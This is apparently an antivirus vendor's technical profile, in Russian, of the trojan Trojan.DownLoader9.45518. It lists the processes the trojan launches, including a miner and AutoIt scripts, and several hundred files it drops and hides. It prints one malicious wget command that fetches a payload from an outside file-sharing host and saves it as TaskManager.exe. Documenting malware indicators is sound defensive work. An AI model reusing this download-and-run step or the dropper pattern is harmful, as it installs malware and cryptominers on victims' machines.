Trojan.DownLoader9.45518

Техническая информация

Вредоносные функции:

Создает и запускает на исполнение:

'%APPDATA%\wget.exe' http://ge.tt/api/1/files/2IDGmzk/0/blob?do###### -O "%APPDATA%\TaskManager.exe"
'%APPDATA%\TaskManager.exe'
'%HOMEPATH%\ZBGWE\Autoit3712750.exe' YYNKVPUM.dat
'%HOMEPATH%\ZBGWE\783998807.miner.exe'
'%HOMEPATH%\ZBGWE\Autoit3712750.exe' 45461.dat
'%APPDATA%\TaskManager.exe' (загружен из сети Интернет)

Запускает на исполнение:

'<SYSTEM32>\cmd.exe' /c ""%APPDATA%\run.bat" "
'<SYSTEM32>\wscript.exe' "%APPDATA%\start.vbs"
'<SYSTEM32>\wscript.exe' "%HOMEPATH%\ZBGWE\run.vbs"

Изменения в файловой системе:

Создает следующие файлы:

%HOMEPATH%\ZBGWE\31909.SDX
%HOMEPATH%\ZBGWE\P69860.BMQ
%HOMEPATH%\ZBGWE\14048.BQH
%HOMEPATH%\ZBGWE\P6070.ZPG
%HOMEPATH%\ZBGWE\48141.SYX
%HOMEPATH%\ZBGWE\21951.NYC
%HOMEPATH%\ZBGWE\Q3615.OSD
%HOMEPATH%\ZBGWE\28499.ZUI
%HOMEPATH%\ZBGWE\S90764.CNT
%HOMEPATH%\ZBGWE\6133.NDQ
%HOMEPATH%\ZBGWE\N48971.ZME
%HOMEPATH%\ZBGWE\T27635.DIM
%HOMEPATH%\ZBGWE\N58372.HSX
%HOMEPATH%\ZBGWE\6235.OCS
%HOMEPATH%\ZBGWE\97913.IBH
%HOMEPATH%\ZBGWE\U40050.NED
%HOMEPATH%\ZBGWE\I14556.CDU
%HOMEPATH%\ZBGWE\19576.CHI
%HOMEPATH%\ZBGWE\3686.DOG
%HOMEPATH%\ZBGWE\42519.JZV
%HOMEPATH%\ZBGWE\X59097.DFR
%HOMEPATH%\ZBGWE\G72520.FBR
%HOMEPATH%\ZBGWE\6871.CBM
%HOMEPATH%\ZBGWE\J37453.KJD
%HOMEPATH%\ZBGWE\Z55943.RZG
%HOMEPATH%\ZBGWE\H63022.ZFY
%HOMEPATH%\ZBGWE\N80361.UEL
%HOMEPATH%\ZBGWE\N41941.JPL
%HOMEPATH%\ZBGWE\20996.WXK
%HOMEPATH%\ZBGWE\F79017.XXH
%HOMEPATH%\ZBGWE\M33745.HNJ
%HOMEPATH%\ZBGWE\G7271.YGX
%HOMEPATH%\ZBGWE\38236.YXC
%HOMEPATH%\ZBGWE\P12720.KTD
%HOMEPATH%\ZBGWE\U82147.WOV
%HOMEPATH%\ZBGWE\F56397.UIK
%HOMEPATH%\ZBGWE\8515.FDL
%HOMEPATH%\ZBGWE\43375.WZZ
%HOMEPATH%\ZBGWE\J8039.DIM
%HOMEPATH%\ZBGWE\B86297.ROU
%HOMEPATH%\ZBGWE\70626.YQA
%HOMEPATH%\ZBGWE\E30401.EQW
%HOMEPATH%\ZBGWE\E23672.QEW
%HOMEPATH%\ZBGWE\30992.ARS
%HOMEPATH%\ZBGWE\A54536.ZZN
%HOMEPATH%\ZBGWE\32654.OSV
%HOMEPATH%\ZBGWE\J41128.SZN
%HOMEPATH%\ZBGWE\27094.OLO
%HOMEPATH%\ZBGWE\O36360.KCN
%HOMEPATH%\ZBGWE\98188.FBZ
%HOMEPATH%\ZBGWE\14759.TQJ
%HOMEPATH%\ZBGWE\J7066.FRK
%HOMEPATH%\ZBGWE\K56881.KZV
%HOMEPATH%\ZBGWE\J62283.WQC
%HOMEPATH%\ZBGWE\R31725.XTR
%HOMEPATH%\ZBGWE\47019.ZIQ
%HOMEPATH%\ZBGWE\V60130.JVO
%HOMEPATH%\ZBGWE\C30604.NWD
%HOMEPATH%\ZBGWE\V75660.EDM
%HOMEPATH%\ZBGWE\T38451.POF
%HOMEPATH%\ZBGWE\67898.KMT
%HOMEPATH%\ZBGWE\T77769.TFJ
%HOMEPATH%\ZBGWE\83671.XCS
%HOMEPATH%\ZBGWE\24041.GIK
%HOMEPATH%\ZBGWE\52801.TKK
%HOMEPATH%\ZBGWE\5908.BVH
%HOMEPATH%\ZBGWE\18255.UII
%HOMEPATH%\ZBGWE\10106.FEK
%HOMEPATH%\ZBGWE\V13225.SWK
%HOMEPATH%\ZBGWE\V16159.EAM
%HOMEPATH%\ZBGWE\56880.MEI
%HOMEPATH%\ZBGWE\85316.EJP
%HOMEPATH%\ZBGWE\W88556.UOR
%HOMEPATH%\ZBGWE\89404.OHS
%HOMEPATH%\ZBGWE\E83299.TAJ
%HOMEPATH%\ZBGWE\80772.NOM
%HOMEPATH%\ZBGWE\S85987.SHA
%HOMEPATH%\ZBGWE\64025.GVK
%HOMEPATH%\ZBGWE\M30751.ZAN
%HOMEPATH%\ZBGWE\37665.RZH
%HOMEPATH%\ZBGWE\Q13768.UZU
%HOMEPATH%\ZBGWE\67456.QXR
%HOMEPATH%\ZBGWE\74651.BHZ
%HOMEPATH%\ZBGWE\16870.VMV
%HOMEPATH%\ZBGWE\37724.DLQ
%HOMEPATH%\ZBGWE\O53963.CGH
%HOMEPATH%\ZBGWE\55544.BJU
%HOMEPATH%\ZBGWE\F32312.HFB
%HOMEPATH%\ZBGWE\62079.FCE
%HOMEPATH%\ZBGWE\W20636.BWG
%HOMEPATH%\ZBGWE\80383.LJD
%HOMEPATH%\ZBGWE\50661.HXV
%HOMEPATH%\ZBGWE\33958.BFJ
%HOMEPATH%\ZBGWE\30896.FBU
%HOMEPATH%\ZBGWE\6530.ZEC
%HOMEPATH%\ZBGWE\12608.OFI
%HOMEPATH%\ZBGWE\21727.XXD
%HOMEPATH%\ZBGWE\57767.MSV
%HOMEPATH%\ZBGWE\B47237.XQH
%HOMEPATH%\ZBGWE\K65212.AFK
%HOMEPATH%\ZBGWE\90931.ZUF
%HOMEPATH%\ZBGWE\2716.OLI
%HOMEPATH%\ZBGWE\45196.AQY
%HOMEPATH%\ZBGWE\20704.LKX
%HOMEPATH%\ZBGWE\H9600.WIG
%HOMEPATH%\ZBGWE\94044.ZTH
%HOMEPATH%\ZBGWE\20448.DUZ
%HOMEPATH%\ZBGWE\49630.WAK
%HOMEPATH%\ZBGWE\V43162.KHJ
%HOMEPATH%\ZBGWE\26336.JDK
%HOMEPATH%\ZBGWE\12854.OGQ
%HOMEPATH%\ZBGWE\18811.GPR
%HOMEPATH%\ZBGWE\P4655.STC
%HOMEPATH%\ZBGWE\84821.JDE
%HOMEPATH%\ZBGWE\59558.NBU
%HOMEPATH%\ZBGWE\H38252.BOF
%HOMEPATH%\ZBGWE\45482.YYQ
%HOMEPATH%\ZBGWE\59975.GIN
%HOMEPATH%\ZBGWE\5525.YPN
%HOMEPATH%\ZBGWE\X75344.AEN
%HOMEPATH%\ZBGWE\91084.JWF
%HOMEPATH%\ZBGWE\E67987.RWS
%HOMEPATH%\ZBGWE\A96428.XSL
%HOMEPATH%\ZBGWE\I27448.QQD
%HOMEPATH%\ZBGWE\7053.DAQ
%HOMEPATH%\ZBGWE\O73179.WBZ
%HOMEPATH%\ZBGWE\U39811.PAL
%HOMEPATH%\ZBGWE\Z68605.ZHC
%HOMEPATH%\ZBGWE\S26987.HYO
%HOMEPATH%\ZBGWE\2868.MFN
%HOMEPATH%\ZBGWE\E95542.LOW
%HOMEPATH%\ZBGWE\54423.QUF
%HOMEPATH%\ZBGWE\3292.YLM
%HOMEPATH%\ZBGWE\31392.WHK
%HOMEPATH%\ZBGWE\64205.MRB
%HOMEPATH%\ZBGWE\P87432.XGU
%HOMEPATH%\ZBGWE\13238.QUF
%HOMEPATH%\ZBGWE\D21318.GIS
%HOMEPATH%\ZBGWE\2584.UWN
%HOMEPATH%\ZBGWE\31685.CHR
%HOMEPATH%\ZBGWE\G52156.OCO
%HOMEPATH%\ZBGWE\65941.OVB
%HOMEPATH%\ZBGWE\96780.EKF
%HOMEPATH%\ZBGWE\73265.PHA
%HOMEPATH%\ZBGWE\D19796.IVO
%HOMEPATH%\ZBGWE\4534.XVM
%HOMEPATH%\ZBGWE\73793.TCG
%HOMEPATH%\ZBGWE\34495.LQU
%HOMEPATH%\ZBGWE\74291.VGC
%HOMEPATH%\ZBGWE\30751.XIJ
%HOMEPATH%\ZBGWE\S19154.PEG
%HOMEPATH%\ZBGWE\69469.ZUF
%HOMEPATH%\ZBGWE\Y7981.DDM
%HOMEPATH%\ZBGWE\P26165.BSY
%HOMEPATH%\ZBGWE\N90687.CFN
%HOMEPATH%\ZBGWE\22363.XVM
%HOMEPATH%\ZBGWE\80861.AAG
%HOMEPATH%\ZBGWE\62358.VDO
%HOMEPATH%\ZBGWE\V42344.UQZ
%HOMEPATH%\ZBGWE\26195.GKG
%HOMEPATH%\ZBGWE\79875.VGR
%HOMEPATH%\ZBGWE\B27376.GTR
%HOMEPATH%\ZBGWE\76336.MQG
%HOMEPATH%\ZBGWE\35698.LVC
%HOMEPATH%\ZBGWE\J26565.WQJ
%HOMEPATH%\ZBGWE\U3499.TYA
%HOMEPATH%\ZBGWE\R11032.ZRM
%HOMEPATH%\ZBGWE\37654.YSI
%HOMEPATH%\ZBGWE\B72444.QUO
%HOMEPATH%\ZBGWE\C28055.SLT
%HOMEPATH%\ZBGWE\32552.LFX
%HOMEPATH%\ZBGWE\A67065.QMI
%HOMEPATH%\ZBGWE\J28882.IDT
%HOMEPATH%\ZBGWE\84796.KUP
%HOMEPATH%\ZBGWE\25183.KAM
%HOMEPATH%\ZBGWE\K42028.XMT
%HOMEPATH%\ZBGWE\P91481.AES
%HOMEPATH%\ZBGWE\G28364.IEP
%HOMEPATH%\ZBGWE\P12118.DTY
%HOMEPATH%\ZBGWE\G67173.FEG
%HOMEPATH%\ZBGWE\82697.ZJZ
%HOMEPATH%\ZBGWE\83696.WZY
%HOMEPATH%\ZBGWE\60637.BZS
%HOMEPATH%\ZBGWE\Y92379.UAH
%HOMEPATH%\ZBGWE\K77728.BSB
%HOMEPATH%\ZBGWE\H23131.XZP
%HOMEPATH%\ZBGWE\K34030.WFL
%HOMEPATH%\ZBGWE\A57737.TSS
%HOMEPATH%\ZBGWE\6223.KKU
%HOMEPATH%\ZBGWE\13328.TGD
%HOMEPATH%\ZBGWE\F71211.WLW
%HOMEPATH%\ZBGWE\E10699.DMW
%APPDATA%\wget.exe
%APPDATA%\start.vbs
%APPDATA%\TaskManager.exe
%HOMEPATH%\ZBGWE\YYNKVPUM.dat
%APPDATA%\run.bat
%HOMEPATH%\ZBGWE\S17103.ZFW
%HOMEPATH%\ZBGWE\E73369.YBL
%HOMEPATH%\ZBGWE\H96079.KHI
%HOMEPATH%\ZBGWE\5706.NDG
%HOMEPATH%\ZBGWE\20828.TPU
%HOMEPATH%\ZBGWE\U26634.EVB
%HOMEPATH%\ZBGWE\G25324.MCM
%HOMEPATH%\ZBGWE\90279.TFJ
%HOMEPATH%\ZBGWE\30421.PQV
%HOMEPATH%\ZBGWE\S98175.ZKY
%HOMEPATH%\ZBGWE\29328.GAR
%HOMEPATH%\ZBGWE\28768.VMF
%HOMEPATH%\ZBGWE\15286.JNL
%HOMEPATH%\ZBGWE\37742.PUN
%HOMEPATH%\ZBGWE\4690.YAF
%HOMEPATH%\ZBGWE\L19021.UEF
%HOMEPATH%\ZBGWE\99857.PGF
%HOMEPATH%\ZBGWE\34170.WCA
%HOMEPATH%\ZBGWE\69279.GPE
%HOMEPATH%\ZBGWE\N87387.JEJ
%HOMEPATH%\ZBGWE\50961.RSU
%HOMEPATH%\ZBGWE\90982.DSQ
%HOMEPATH%\ZBGWE\U30174.TLA
%HOMEPATH%\ZBGWE\75510.LHH
%HOMEPATH%\ZBGWE\I74802.VRY
%HOMEPATH%\ZBGWE\84931.WME
%HOMEPATH%\ZBGWE\Y18582.YBK
%HOMEPATH%\ZBGWE\N31042.CYP
%HOMEPATH%\ZBGWE\H20857.MFZ
%HOMEPATH%\ZBGWE\31655.LOR
%HOMEPATH%\ZBGWE\60253.BXE
%HOMEPATH%\ZBGWE\33061.GTE
%HOMEPATH%\ZBGWE\M98358.ETR
%HOMEPATH%\ZBGWE\27377.BCC
%HOMEPATH%\ZBGWE\P93525.EHB
%HOMEPATH%\ZBGWE\J96717.IHM
%HOMEPATH%\ZBGWE\42693.OSE
%HOMEPATH%\ZBGWE\W29344.HTR
%HOMEPATH%\ZBGWE\Z28761.JWS
%HOMEPATH%\ZBGWE\16825.NLJ
%HOMEPATH%\ZBGWE\29050.FSV
%HOMEPATH%\ZBGWE\U80856.QGC
%HOMEPATH%\ZBGWE\78729.GNF
%HOMEPATH%\ZBGWE\E72962.FGK
%HOMEPATH%\ZBGWE\9219.MGY
%HOMEPATH%\ZBGWE\53580.FVU
%HOMEPATH%\ZBGWE\O78105.JVD
%HOMEPATH%\ZBGWE\Y58685.OPV
%HOMEPATH%\ZBGWE\11208.OEN
%HOMEPATH%\ZBGWE\S78544.WIP
%HOMEPATH%\ZBGWE\8527.TAA
%HOMEPATH%\ZBGWE\21107.YUT
%HOMEPATH%\ZBGWE\57979.OXT
%HOMEPATH%\ZBGWE\E5148.AAQ
%HOMEPATH%\ZBGWE\79543.VIV
%HOMEPATH%\ZBGWE\74109.LSQ
%HOMEPATH%\ZBGWE\G33653.BQB
%HOMEPATH%\ZBGWE\V13134.MLC
%HOMEPATH%\ZBGWE\Z69801.KBC
%HOMEPATH%\ZBGWE\59889.SCJ
%HOMEPATH%\ZBGWE\82772.CWC
%HOMEPATH%\ZBGWE\R50430.WWW
%HOMEPATH%\ZBGWE\50200.UFA
%HOMEPATH%\ZBGWE\N96645.ZCT
%HOMEPATH%\ZBGWE\I7551.WEG
%HOMEPATH%\ZBGWE\H71592.QOA
%HOMEPATH%\ZBGWE\32345.MOG
%HOMEPATH%\ZBGWE\24251.KYR
%HOMEPATH%\ZBGWE\R23473.TEA
%HOMEPATH%\ZBGWE\6329.ZRR
%HOMEPATH%\ZBGWE\C47876.PGH
%HOMEPATH%\ZBGWE\33499.NNB
%HOMEPATH%\ZBGWE\32174.UEC
%HOMEPATH%\ZBGWE\Z45670.QRV
%HOMEPATH%\ZBGWE\R73482.BMP
%HOMEPATH%\ZBGWE\U14274.RFW
%HOMEPATH%\ZBGWE\R96154.QAS
%HOMEPATH%\ZBGWE\43810.HBF
%HOMEPATH%\ZBGWE\Y9579.ADR
%HOMEPATH%\ZBGWE\89751.ABT
%HOMEPATH%\ZBGWE\Y56905.ETQ
%HOMEPATH%\ZBGWE\84917.HOO
%HOMEPATH%\ZBGWE\58306.CHG
%HOMEPATH%\ZBGWE\36879.ZKN
%HOMEPATH%\ZBGWE\66763.ABB
%HOMEPATH%\ZBGWE\V89574.VIL
%HOMEPATH%\ZBGWE\L78276.CUO
%HOMEPATH%\ZBGWE\K42276.JSU
%HOMEPATH%\ZBGWE\D41395.SLX
%HOMEPATH%\ZBGWE\23621.WAY
%HOMEPATH%\ZBGWE\7643.GJE
%HOMEPATH%\ZBGWE\62905.IJU
%HOMEPATH%\ZBGWE\69279.UPC
%HOMEPATH%\ZBGWE\2342.QIX
%HOMEPATH%\ZBGWE\6421.IVH
%HOMEPATH%\ZBGWE\24602.UPK
%HOMEPATH%\ZBGWE\22063.ANZ
%HOMEPATH%\ZBGWE\34603.WIG
%HOMEPATH%\ZBGWE\38448.BHA
%HOMEPATH%\ZBGWE\V59363.VCE
%HOMEPATH%\ZBGWE\72162.ROP
%HOMEPATH%\ZBGWE\76231.PYR
%HOMEPATH%\ZBGWE\W36554.EEL
%HOMEPATH%\ZBGWE\A33371.SKA
%HOMEPATH%\ZBGWE\27673.TGK
%HOMEPATH%\ZBGWE\81928.EDX
%HOMEPATH%\ZBGWE\28134.FPW
%HOMEPATH%\ZBGWE\H54753.XLQ
%HOMEPATH%\ZBGWE\Q68848.ABO
%HOMEPATH%\ZBGWE\V39049.YZM
%HOMEPATH%\ZBGWE\34787.HOD
%HOMEPATH%\ZBGWE\20190.WHO
%HOMEPATH%\ZBGWE\40272.XHH
%HOMEPATH%\ZBGWE\17135.SLI
%HOMEPATH%\ZBGWE\Y95844.MBN
%HOMEPATH%\ZBGWE\S81020.HJX
%HOMEPATH%\ZBGWE\M79614.UBW
%HOMEPATH%\ZBGWE\70146.YLX
%HOMEPATH%\ZBGWE\D26813.GQW
%HOMEPATH%\ZBGWE\46039.EXH
%HOMEPATH%\ZBGWE\L69499.BTI
%HOMEPATH%\ZBGWE\C49464.PYH
%HOMEPATH%\ZBGWE\21885.PVX
%HOMEPATH%\ZBGWE\96797.LMH
%HOMEPATH%\ZBGWE\63751.DHB
%HOMEPATH%\ZBGWE\16660.ELZ
%HOMEPATH%\ZBGWE\W70881.KQY
%HOMEPATH%\ZBGWE\73368.WUL
%HOMEPATH%\ZBGWE\F16508.VFS
%HOMEPATH%\ZBGWE\C99119.PFU
%HOMEPATH%\ZBGWE\48922.IAE
%HOMEPATH%\ZBGWE\O85839.NOU
%HOMEPATH%\ZBGWE\U4394.GIF
%HOMEPATH%\ZBGWE\97498.UMF
%HOMEPATH%\ZBGWE\70497.XPJ
%HOMEPATH%\ZBGWE\W69722.FLN
%HOMEPATH%\ZBGWE\41566.VXZ
%HOMEPATH%\ZBGWE\O71066.VIQ
%HOMEPATH%\ZBGWE\53276.OUQ
%HOMEPATH%\ZBGWE\8712.LBF
%HOMEPATH%\ZBGWE\R43340.JRW
%HOMEPATH%\ZBGWE\N62895.NGY
%HOMEPATH%\ZBGWE\V23188.OLR
%HOMEPATH%\ZBGWE\T47201.CCH
%HOMEPATH%\ZBGWE\I89529.HCB
%HOMEPATH%\ZBGWE\56924.GHW
%HOMEPATH%\ZBGWE\93199.JSN
%HOMEPATH%\ZBGWE\R74134.YQX
%HOMEPATH%\ZBGWE\69117.VDD
%HOMEPATH%\ZBGWE\49034.QPZ
%HOMEPATH%\ZBGWE\62277.QZW
%HOMEPATH%\ZBGWE\C97972.OKC
%HOMEPATH%\ZBGWE\19089.VBR
%HOMEPATH%\ZBGWE\H31875.BJD
%HOMEPATH%\ZBGWE\L90936.AHZ
%HOMEPATH%\ZBGWE\44569.WAR
%HOMEPATH%\ZBGWE\N4206.JTW
%HOMEPATH%\ZBGWE\D28273.FMC
%HOMEPATH%\ZBGWE\Q97904.DWH
%HOMEPATH%\ZBGWE\D61670.FFE
%HOMEPATH%\ZBGWE\81752.MLY
%HOMEPATH%\ZBGWE\C12113.MSR
%HOMEPATH%\ZBGWE\77137.LDR
%HOMEPATH%\ZBGWE\E1101.KYT
%HOMEPATH%\ZBGWE\B68921.PYW
%HOMEPATH%\ZBGWE\26149.RVO
%HOMEPATH%\ZBGWE\50070.QTC
%HOMEPATH%\ZBGWE\E79911.ZKW
%HOMEPATH%\ZBGWE\31004.ZEL
%HOMEPATH%\ZBGWE\66715.UBU
%HOMEPATH%\ZBGWE\C92559.WTC
%HOMEPATH%\ZBGWE\59841.VXT
%HOMEPATH%\ZBGWE\85995.NFM
%HOMEPATH%\ZBGWE\H66594.EQM
%HOMEPATH%\ZBGWE\J33125.HSD
%HOMEPATH%\ZBGWE\70970.JNX
%HOMEPATH%\ZBGWE\D73663.IWL
%HOMEPATH%\ZBGWE\P6276.QFA
%HOMEPATH%\ZBGWE\C2508.LTW
%HOMEPATH%\ZBGWE\M19897.IVR
%HOMEPATH%\ZBGWE\53806.DIH
%HOMEPATH%\ZBGWE\M69706.RMN
%HOMEPATH%\ZBGWE\Z20089.NFP
%HOMEPATH%\ZBGWE\A64618.JHE
%HOMEPATH%\ZBGWE\H37630.DON
%HOMEPATH%\ZBGWE\53422.LCJ
%HOMEPATH%\ZBGWE\B7717.OHM
%HOMEPATH%\ZBGWE\783998807.miner.exe
%HOMEPATH%\ZBGWE\run.vbs
%HOMEPATH%\ZBGWE\J1923.GBU
%HOMEPATH%\ZBGWE\48722.UIW
%HOMEPATH%\ZBGWE\settings.ini
%HOMEPATH%\ZBGWE\124255.dat
%HOMEPATH%\ZBGWE\45461.dat
%HOMEPATH%\ZBGWE\Autoit3712750.exe
%HOMEPATH%\ZBGWE\617712.dat
%HOMEPATH%\ZBGWE\H52367.VXZ
%HOMEPATH%\ZBGWE\76197.MGW
%HOMEPATH%\ZBGWE\Z14058.RCW
%HOMEPATH%\ZBGWE\40640.TIL
%HOMEPATH%\ZBGWE\I71555.KOU
%HOMEPATH%\ZBGWE\8986.ZIM
%HOMEPATH%\ZBGWE\48536.NQK
%HOMEPATH%\ZBGWE\83206.FDZ
%HOMEPATH%\ZBGWE\10229.MYR
%HOMEPATH%\ZBGWE\98829.AEG
%HOMEPATH%\ZBGWE\D92456.CUZ
%HOMEPATH%\ZBGWE\X56023.KBU
%HOMEPATH%\ZBGWE\97259.YGI
%HOMEPATH%\ZBGWE\F54737.MSL
%HOMEPATH%\ZBGWE\D11294.ONY
%HOMEPATH%\ZBGWE\99574.FSW
%HOMEPATH%\ZBGWE\T20436.IQS
%HOMEPATH%\ZBGWE\M60180.OTT
%HOMEPATH%\ZBGWE\56637.TDE
%HOMEPATH%\ZBGWE\V22736.SDE
%HOMEPATH%\ZBGWE\40733.RUF
%HOMEPATH%\ZBGWE\91718.INA
%HOMEPATH%\ZBGWE\K31140.HRY
%HOMEPATH%\ZBGWE\N75047.JXA
%HOMEPATH%\ZBGWE\64116.JUR
%HOMEPATH%\ZBGWE\P98827.CUT
%HOMEPATH%\ZBGWE\E38997.OFQ
%HOMEPATH%\ZBGWE\D61499.VAV
%HOMEPATH%\ZBGWE\D64307.TGZ
%HOMEPATH%\ZBGWE\59682.TKJ
%HOMEPATH%\ZBGWE\J14576.PSP
%HOMEPATH%\ZBGWE\L3213.TUM
%HOMEPATH%\ZBGWE\72977.UME
%HOMEPATH%\ZBGWE\40589.EMM
%HOMEPATH%\ZBGWE\85063.RIC
%HOMEPATH%\ZBGWE\E81893.QFK
%HOMEPATH%\ZBGWE\75311.TLH
%HOMEPATH%\ZBGWE\W61604.HYQ
%HOMEPATH%\ZBGWE\98987.EEV
%HOMEPATH%\ZBGWE\54973.NWE
%HOMEPATH%\ZBGWE\79469.HRO
%HOMEPATH%\ZBGWE\P26099.IWQ
%HOMEPATH%\ZBGWE\D94702.RFL
%HOMEPATH%\ZBGWE\E73279.UQP
%HOMEPATH%\ZBGWE\93037.MFA
%HOMEPATH%\ZBGWE\40309.WVE
%HOMEPATH%\ZBGWE\59147.UTS
%HOMEPATH%\ZBGWE\H50699.HIC
%HOMEPATH%\ZBGWE\G84054.RPX
%HOMEPATH%\ZBGWE\61386.EQG
%HOMEPATH%\ZBGWE\91257.HGW
%HOMEPATH%\ZBGWE\76817.ZQQ
%HOMEPATH%\ZBGWE\C37231.EVP
%HOMEPATH%\ZBGWE\8362.IJX
%HOMEPATH%\ZBGWE\57003.GHM
%HOMEPATH%\ZBGWE\41907.HDB
%HOMEPATH%\ZBGWE\G69756.LJA
%HOMEPATH%\ZBGWE\12907.VKG
%HOMEPATH%\ZBGWE\F39028.LLA
%HOMEPATH%\ZBGWE\88693.ESB
%HOMEPATH%\ZBGWE\63737.TFM
%HOMEPATH%\ZBGWE\27692.AQG
%HOMEPATH%\ZBGWE\V83086.VYG
%HOMEPATH%\ZBGWE\Y48413.VFV
%HOMEPATH%\ZBGWE\A4185.LXP
%HOMEPATH%\ZBGWE\S48832.VHU
%HOMEPATH%\ZBGWE\29822.BBQ
%HOMEPATH%\ZBGWE\I79282.LLY
%HOMEPATH%\ZBGWE\12380.RKU
%HOMEPATH%\ZBGWE\83878.TJL
%HOMEPATH%\ZBGWE\49567.RJH
%HOMEPATH%\ZBGWE\2402.KJE
%HOMEPATH%\ZBGWE\J35376.ZJO
%HOMEPATH%\ZBGWE\83686.AUR
%HOMEPATH%\ZBGWE\P41409.LMT
%HOMEPATH%\ZBGWE\Q32129.EYM
%HOMEPATH%\ZBGWE\P23395.FLL
%HOMEPATH%\ZBGWE\76447.KTC
%HOMEPATH%\ZBGWE\94251.YFU
%HOMEPATH%\ZBGWE\12801.VKF
%HOMEPATH%\ZBGWE\C97529.ETA
%HOMEPATH%\ZBGWE\H42493.CGD
%HOMEPATH%\ZBGWE\V8605.LGD
%HOMEPATH%\ZBGWE\Y47774.AUW
%HOMEPATH%\ZBGWE\O26280.FAP
%HOMEPATH%\ZBGWE\51558.IYO
%HOMEPATH%\ZBGWE\A54183.HNE
%HOMEPATH%\ZBGWE\34076.KJE
%HOMEPATH%\ZBGWE\46862.DBM
%HOMEPATH%\ZBGWE\8986.NWY
%HOMEPATH%\ZBGWE\80658.YJS
%HOMEPATH%\ZBGWE\R49974.TYC
%HOMEPATH%\ZBGWE\20417.WVF
%HOMEPATH%\ZBGWE\93096.URQ
%HOMEPATH%\ZBGWE\V87412.MBL
%HOMEPATH%\ZBGWE\W22759.NUQ
%HOMEPATH%\ZBGWE\77224.VAJ
%HOMEPATH%\ZBGWE\H15407.YAD
%HOMEPATH%\ZBGWE\80139.KFG
%HOMEPATH%\ZBGWE\C47508.PKW
%HOMEPATH%\ZBGWE\7769.CSS
%HOMEPATH%\ZBGWE\N2364.VJQ
%HOMEPATH%\ZBGWE\U47891.HHO
%HOMEPATH%\ZBGWE\Y74136.LMF
%HOMEPATH%\ZBGWE\N64349.JWA
%HOMEPATH%\ZBGWE\X79922.JTA
%HOMEPATH%\ZBGWE\85067.XQU
%HOMEPATH%\ZBGWE\W45325.FPQ
%HOMEPATH%\ZBGWE\E92676.MSD
%HOMEPATH%\ZBGWE\V29108.NYV
%HOMEPATH%\ZBGWE\Z44002.TMS
%HOMEPATH%\ZBGWE\S70492.BSF
%HOMEPATH%\ZBGWE\C71599.HYY
%HOMEPATH%\ZBGWE\R58455.YGE
%HOMEPATH%\ZBGWE\B11960.GBU
%HOMEPATH%\ZBGWE\67142.CJV
%HOMEPATH%\ZBGWE\C67439.SXE
%HOMEPATH%\ZBGWE\T28000.IEU
%HOMEPATH%\ZBGWE\43541.ASC
%HOMEPATH%\ZBGWE\B95850.OBQ
%HOMEPATH%\ZBGWE\W92889.TUU
%HOMEPATH%\ZBGWE\58700.OSH
%HOMEPATH%\ZBGWE\6644.OTQ
%HOMEPATH%\ZBGWE\17723.EQN
%HOMEPATH%\ZBGWE\Y2911.SZB
%HOMEPATH%\ZBGWE\T13264.OEH
%HOMEPATH%\ZBGWE\51625.FXX
%HOMEPATH%\ZBGWE\R11787.VWB
%HOMEPATH%\ZBGWE\E76714.HMD
%HOMEPATH%\ZBGWE\I11901.KTI
%HOMEPATH%\ZBGWE\24699.CON
%HOMEPATH%\ZBGWE\93348.BCE
%HOMEPATH%\ZBGWE\N19304.PAG
%HOMEPATH%\ZBGWE\R83924.YOQ
%HOMEPATH%\ZBGWE\78484.YGM
%HOMEPATH%\ZBGWE\B14102.WRT
%HOMEPATH%\ZBGWE\E99469.KNS
%HOMEPATH%\ZBGWE\B93956.ZUZ
%HOMEPATH%\ZBGWE\K67959.UDG
%HOMEPATH%\ZBGWE\D81072.PZW
%HOMEPATH%\ZBGWE\37422.KFK
%HOMEPATH%\ZBGWE\G85188.FOE
%HOMEPATH%\ZBGWE\D46457.ZQB
%HOMEPATH%\ZBGWE\84933.BDY
%HOMEPATH%\ZBGWE\V44183.DMP
%HOMEPATH%\ZBGWE\17888.JMK
%HOMEPATH%\ZBGWE\S24545.RTM
%HOMEPATH%\ZBGWE\13177.KJQ
%HOMEPATH%\ZBGWE\5991.CRR
%HOMEPATH%\ZBGWE\L10811.VOY
%HOMEPATH%\ZBGWE\F23179.MFN
%HOMEPATH%\ZBGWE\64436.OWX
%HOMEPATH%\ZBGWE\W53323.TVH
%HOMEPATH%\ZBGWE\48142.GBQ
%HOMEPATH%\ZBGWE\43329.BKH
%HOMEPATH%\ZBGWE\17718.ZYY
%HOMEPATH%\ZBGWE\80964.AEQ
%HOMEPATH%\ZBGWE\E32317.YRD
%HOMEPATH%\ZBGWE\36413.MEQ
%HOMEPATH%\ZBGWE\E91590.LJD
%HOMEPATH%\ZBGWE\56077.ZSH
%HOMEPATH%\ZBGWE\I25827.FYX
%HOMEPATH%\ZBGWE\6505.VFL
%HOMEPATH%\ZBGWE\19874.KCA
%HOMEPATH%\ZBGWE\F18646.JDG
%HOMEPATH%\ZBGWE\2219.GPE
%HOMEPATH%\ZBGWE\W58340.EQP
%HOMEPATH%\ZBGWE\12457.AOY
%HOMEPATH%\ZBGWE\W59556.EFF
%HOMEPATH%\ZBGWE\C2779.FBE
%HOMEPATH%\ZBGWE\65122.SHT
%HOMEPATH%\ZBGWE\90356.PRL
%HOMEPATH%\ZBGWE\74827.SSO
%HOMEPATH%\ZBGWE\Y37517.HTM
%HOMEPATH%\ZBGWE\72509.LFV
%HOMEPATH%\ZBGWE\49176.LDX
%HOMEPATH%\ZBGWE\J27766.OAL
%HOMEPATH%\ZBGWE\29790.OLZ
%HOMEPATH%\ZBGWE\U97018.AQK
%HOMEPATH%\ZBGWE\G58164.PJU
%HOMEPATH%\ZBGWE\M90255.AGQ
%HOMEPATH%\ZBGWE\R92209.RVV
%HOMEPATH%\ZBGWE\T7563.YSR
%HOMEPATH%\ZBGWE\S31143.DFT
%HOMEPATH%\ZBGWE\P67648.PHU
%HOMEPATH%\ZBGWE\1345.CPC
%HOMEPATH%\ZBGWE\E7634.AKV
%HOMEPATH%\ZBGWE\R17064.QVB
%HOMEPATH%\ZBGWE\S74524.EJR
%HOMEPATH%\ZBGWE\T4816.CPD
%HOMEPATH%\ZBGWE\17309.KAM
%HOMEPATH%\ZBGWE\53054.RED

Присваивает атрибут 'скрытый' для следующих файлов:

%HOMEPATH%\ZBGWE\48141.SYX
%HOMEPATH%\ZBGWE\28499.ZUI
%HOMEPATH%\ZBGWE\31909.SDX
%HOMEPATH%\ZBGWE\P69860.BMQ
%HOMEPATH%\ZBGWE\S90764.CNT
%HOMEPATH%\ZBGWE\F79017.XXH
